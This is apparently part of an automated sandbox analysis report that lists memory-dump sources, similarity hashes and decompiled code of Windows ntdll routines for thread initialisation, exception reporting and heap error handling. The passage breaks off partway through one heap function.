Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 74d72cb71e7dfeee8a3a9d53510503e395cbd01093f9909b1b2aa72a2d152867
Instruction ID: 80092c73c1d53c95c1d2834f74becf07a3905afbe2d411f9c9d8d27bd2bd4bc2
Opcode Fuzzy Hash: 74d72cb71e7dfeee8a3a9d53510503e395cbd01093f9909b1b2aa72a2d152867
Instruction Fuzzy Hash: 119002B120150813E111655A4504707144A5BD0281FF1D422E0514928D9E9EC952B161

Uniqueness

Uniqueness Score: -1.00%

Function 6A9599A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A1A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9599AA

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 18231feee3525780e3d7ffb68f83c311dfd34a19df00965881daa7ddd86d0f63
Instruction ID: 02960608e9b81c57beae242fa8a9dd6d128c00669166374649edf03207e0d636
Opcode Fuzzy Hash: 18231feee3525780e3d7ffb68f83c311dfd34a19df00965881daa7ddd86d0f63
Instruction Fuzzy Hash: AD9002E134150842E100655A4414B0614469BE1341FB1D025E1154924D8E5DCC527166

Uniqueness

Uniqueness Score: -1.00%

Function 6A959600, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6b1211124a42a68fe96808b34487d650bfee4d5333721b2c9858b799fd0a2628
Instruction ID: c10db2c14935c13dd20ab7bb2ff524681cb73f49fcaa5b8da79b332ed23e4f4e
Opcode Fuzzy Hash: 6b1211124a42a68fe96808b34487d650bfee4d5333721b2c9858b799fd0a2628
Instruction Fuzzy Hash: 579002B120150842E100665A4404B4A55466BE0341FB1D025E0504A24D8D9DC8617161

Uniqueness

Uniqueness Score: -1.00%

Function 6A959660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6A9F0810,0000001C,6A9A1616), ref: 6A95966A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 842c71205d5a3fc93ce65d62e15a8a4a670b51f2c9a5c852eb651e6ad822c769
Instruction ID: 56f528443ef048b42be96119dc5a50bbba968d4870ba8bcaffd7107ecdc86aca
Opcode Fuzzy Hash: 842c71205d5a3fc93ce65d62e15a8a4a670b51f2c9a5c852eb651e6ad822c769
Instruction Fuzzy Hash: A39002B120150C02E180755A440464A14465BD1341FF1D025E0115A24DCE5DCA5977E1

Uniqueness

Uniqueness Score: -1.00%

Function 6A959780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A1A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6A95978A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c840e5d2520541cc2c9f35f8a55a1a2c7ce33ec7a7e50991748e9ac7c12a25dd
Instruction ID: 4bf5d292acd14b47aa0b13c95a2c2e7461ad9fa922a7bf9874b49c463b43be17
Opcode Fuzzy Hash: c840e5d2520541cc2c9f35f8a55a1a2c7ce33ec7a7e50991748e9ac7c12a25dd
Instruction Fuzzy Hash: 749002A921350402E180755A540860A14465BD1242FF1E425E0105928CCD5DC8696361

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6A9CB260, Relevance: 91.3, APIs: 22, Strings: 30, Instructions: 262COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000, *** Unhandled exception 0x%08lx, hit in %ws:%s,?,<unknown>,?,6A9F0DD8,00000018,6A9CB5A3,?,6A8F48A4,?,?,6A95B74A,6A8F1650,6A95B627), ref: 6A9CB2E6
DbgPrintEx.1105(00000065,00000000, *** A stack buffer overrun occurred in %ws:%s,<unknown>,?,6A9F0DD8,00000018,6A9CB5A3,?,6A8F48A4,?,?,6A95B74A,6A8F1650,6A95B627,6A95B627), ref: 6A9CB2FD
DbgPrintEx.1105(00000065,00000000,This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.), ref: 6A9CB30C
DbgPrintEx.1105(00000065,00000000,If this bug ends up in the shipping product, it could be a severe security hole.), ref: 6A9CB31B
DbgPrintEx.1105(00000065,00000000,a NULL pointer), ref: 6A9CB4E7
DbgPrintEx.1105(00000065,00000000, *** enter .exr %p for the exception record,?), ref: 6A9CB4F8
DbgPrintEx.1105(00000065,00000000, *** enter .cxr %p for the context,?), ref: 6A9CB514
DbgPrintEx.1105(00000065,00000000, *** then kb to get the faulting stack), ref: 6A9CB523
DbgPrintEx.1105(00000065,00000000, *** Restarting wait on critsec or resource at %p (in %ws:%s),?,?,?), ref: 6A9CB546
RtlReportException.1105(00000000,?,00000000), ref: 6A9CB566

Strings

The critical section is owned by thread %p., xrefs: 6A9CB3B9
an invalid address, %p, xrefs: 6A9CB4CF
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6A9CB38F
*** Inpage error in %ws:%s, xrefs: 6A9CB418
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 6A9CB47D
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 6A9CB2DC
*** then kb to get the faulting stack, xrefs: 6A9CB51C
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 6A9CB484
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 6A9CB305
*** enter .cxr %p for the context, xrefs: 6A9CB50D
Go determine why that thread has not released the critical section., xrefs: 6A9CB3C5
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 6A9CB323
This failed because of error %Ix., xrefs: 6A9CB446
The instruction at %p tried to %s , xrefs: 6A9CB4B6
*** An Access Violation occurred in %ws:%s, xrefs: 6A9CB48F
read from, xrefs: 6A9CB4AD, 6A9CB4B2
The resource is owned exclusively by thread %p, xrefs: 6A9CB374
write to, xrefs: 6A9CB4A6
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6A9CB3D6
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 6A9CB39B
a NULL pointer, xrefs: 6A9CB4E0
<unknown>, xrefs: 6A9CB27E, 6A9CB2D1, 6A9CB350, 6A9CB399, 6A9CB417, 6A9CB48E
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 6A9CB314
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 6A9CB53F
The instruction at %p referenced memory at %p., xrefs: 6A9CB432
*** Resource timeout (%p) in %ws:%s, xrefs: 6A9CB352
*** A stack buffer overrun occurred in %ws:%s, xrefs: 6A9CB2F3
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 6A9CB476
The resource is owned shared by %d threads, xrefs: 6A9CB37E
*** enter .exr %p for the exception record, xrefs: 6A9CB4F1

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$ExceptionReport
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 374826753-108210295
Opcode ID: 52f5f94d13103360c674b10e68d226c90291b71c112b48be15e1cea66b8a1c36
Instruction ID: b0ab9fa52e6c0edb0969c454fc5b89625d37142a9a26deea43b74fea835118c6
Opcode Fuzzy Hash: 52f5f94d13103360c674b10e68d226c90291b71c112b48be15e1cea66b8a1c36
Instruction Fuzzy Hash: D181ED35A05510FFDB215A198C88E6F3B7AEFA6395B624049F2052B213FF25C951CAB3

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D1C06, Relevance: 80.7, APIs: 21, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E6A9D1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x6a8f48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6A91B150();
				} else {
					E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x6aa0589c);
				E6A91B150("Heap error detected at %p (heap handle %p)\n",  *0x6aa058a0);
				_t27 =  *0x6aa05898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M6A9D1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6A91B150();
				} else {
					E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E6A91B150("Error code: %d - %s\n",  *0x6aa05898);
				_t113 =  *0x6aa058a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Parameter1: %p\n",  *0x6aa058a4);
				}
				_t115 =  *0x6aa058a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Parameter2: %p\n",  *0x6aa058a8);
				}
				_t117 =  *0x6aa058ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Parameter3: %p\n",  *0x6aa058ac);
				}
				_t119 =  *0x6aa058b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x6aa058b4);
					E6A91B150("Last known valid blocks: before - %p, after - %p\n",  *0x6aa058b0);
				} else {
					_t120 =  *0x6aa058b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6A91B150();
				} else {
					E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E6A91B150("Stack trace available at %p\n", 0x6aa058c0);
			}

0x6a9d1c10
0x6a9d1c16
0x6a9d1c1e
0x6a9d1c3d
0x6a9d1c3e
0x6a9d1c20
0x6a9d1c35
0x6a9d1c3a
0x6a9d1c44
0x6a9d1c55
0x6a9d1c5a
0x6a9d1c65
0x6a9d1c67
0x00000000
0x6a9d1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d1c67
0x6a9d1cdc
0x6a9d1ce5
0x6a9d1d04
0x6a9d1d05
0x6a9d1ce7
0x6a9d1cfc
0x6a9d1d01
0x6a9d1d0b
0x6a9d1d17
0x6a9d1d1f
0x6a9d1d25
0x6a9d1d30
0x6a9d1d4f
0x6a9d1d50
0x6a9d1d32
0x6a9d1d47
0x6a9d1d4c
0x6a9d1d61
0x6a9d1d67
0x6a9d1d68
0x6a9d1d6e
0x6a9d1d79
0x6a9d1d98
0x6a9d1d99
0x6a9d1d7b
0x6a9d1d90
0x6a9d1d95
0x6a9d1daa
0x6a9d1db0
0x6a9d1db1
0x6a9d1db7
0x6a9d1dc2
0x6a9d1de1
0x6a9d1de2
0x6a9d1dc4
0x6a9d1dd9
0x6a9d1dde
0x6a9d1df3
0x6a9d1df9
0x6a9d1dfa
0x6a9d1e00
0x6a9d1e0a
0x6a9d1e13
0x6a9d1e32
0x6a9d1e33
0x6a9d1e15
0x6a9d1e2a
0x6a9d1e2f
0x6a9d1e39
0x6a9d1e4a
0x6a9d1e02
0x6a9d1e02
0x6a9d1e08
0x00000000
0x00000000
0x6a9d1e08
0x6a9d1e5b
0x6a9d1e7a
0x6a9d1e7b
0x6a9d1e5d
0x6a9d1e72
0x6a9d1e77
0x6a9d1e95

APIs

DbgPrint.1105(HEAP[%wZ]: ,?,?,00000002,6AA058C0,6A9D20B1,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9D1C35
DbgPrint.1105(HEAP: ,?,00000002,6AA058C0,6A9D20B1,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9D1C3E
DbgPrint.1105(Heap error detected at %p (heap handle %p),?,00000002,6AA058C0,6A9D20B1,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9D1C55
DbgPrint.1105(HEAP[%wZ]: ,?,00000020,6AA058C0,00000000), ref: 6A9D1CFC
DbgPrint.1105(HEAP: ,00000020,6AA058C0,00000000), ref: 6A9D1D05
DbgPrint.1105(Error code: %d - %s,6A8F48A4,00000020,6AA058C0,00000000), ref: 6A9D1D17
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D47
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D50
DbgPrint.1105(Parameter1: %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D61
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D90
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D99
DbgPrint.1105(Parameter2: %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DAA
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DD9
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DE2
DbgPrint.1105(Parameter3: %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DF3
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E2A
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E33
DbgPrint.1105(Last known valid blocks: before - %p, after - %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E4A
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E72
DbgPrint.1105(Stack trace available at %p,6AA058C0,?,?,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E8B

Strings

Parameter3: %p, xrefs: 6A9D1DEE
heap_failure_block_not_busy, xrefs: 6A9D1CA6
heap_failure_usage_after_free, xrefs: 6A9D1CBB
HEAP[%wZ]: , xrefs: 6A9D1C30, 6A9D1CF7, 6A9D1D42, 6A9D1D8B, 6A9D1DD4, 6A9D1E25, 6A9D1E6D
heap_failure_multiple_entries_corruption, xrefs: 6A9D1C8A
Heap error detected at %p (heap handle %p), xrefs: 6A9D1C50
heap_failure_buffer_underrun, xrefs: 6A9D1C9F
Stack trace available at %p, xrefs: 6A9D1E86
heap_failure_generic, xrefs: 6A9D1C7C
heap_failure_cross_heap_operation, xrefs: 6A9D1CC2
heap_failure_invalid_allocation_type, xrefs: 6A9D1CB4
heap_failure_listentry_corruption, xrefs: 6A9D1CD0
heap_failure_entry_corruption, xrefs: 6A9D1C83
heap_failure_virtual_block_corruption, xrefs: 6A9D1C91
Error code: %d - %s, xrefs: 6A9D1D12
heap_failure_invalid_argument, xrefs: 6A9D1CAD
heap_failure_freelists_corruption, xrefs: 6A9D1CC9
Parameter1: %p, xrefs: 6A9D1D5C
heap_failure_buffer_overrun, xrefs: 6A9D1C98
heap_failure_unknown, xrefs: 6A9D1C75
Last known valid blocks: before - %p, after - %p, xrefs: 6A9D1E45
HEAP: , xrefs: 6A9D1C16, 6A9D1C3D, 6A9D1D04, 6A9D1D4F, 6A9D1D98, 6A9D1DE1, 6A9D1E32, 6A9D1E7A
Parameter2: %p, xrefs: 6A9D1DA5
heap_failure_internal, xrefs: 6A9D1C6E
heap_failure_lfh_bitmap_mismatch, xrefs: 6A9D1CD7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 3558298466-2897834094
Opcode ID: 956e4f555d978b09c7982e3494f59857990123baddd377d59c886089505d54c7
Instruction ID: e96fc01ea1dd93547a607217a504b83f4eda1af29bdf9872f9858bb1a214b596
Opcode Fuzzy Hash: 956e4f555d978b09c7982e3494f59857990123baddd377d59c886089505d54c7
Instruction Fuzzy Hash: B761C637018945EFDB11AB98D4C892173F5EB07664B37C42EF9149B322CF24DCC28A29

Uniqueness

Uniqueness Score: -1.00%

Function 6A93A309, Relevance: 49.7, APIs: 22, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E6A93A309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x6aa08a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E6A93A830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = E6A93DF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E6A919373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E6A91A9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0x6aa08748 - 1;
						if( *0x6aa08748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E6A91B150();
								__eflags =  *0x6aa07bc8;
								if( *0x6aa07bc8 == 0) {
									__eflags = 1;
									E6A9D2073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0x6aa08748 - 1;
							if( *0x6aa08748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = E6A94174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E6A937D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E6A9D14FB(_t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E6A919373(_t553, _t358);
							_t486 = _v32;
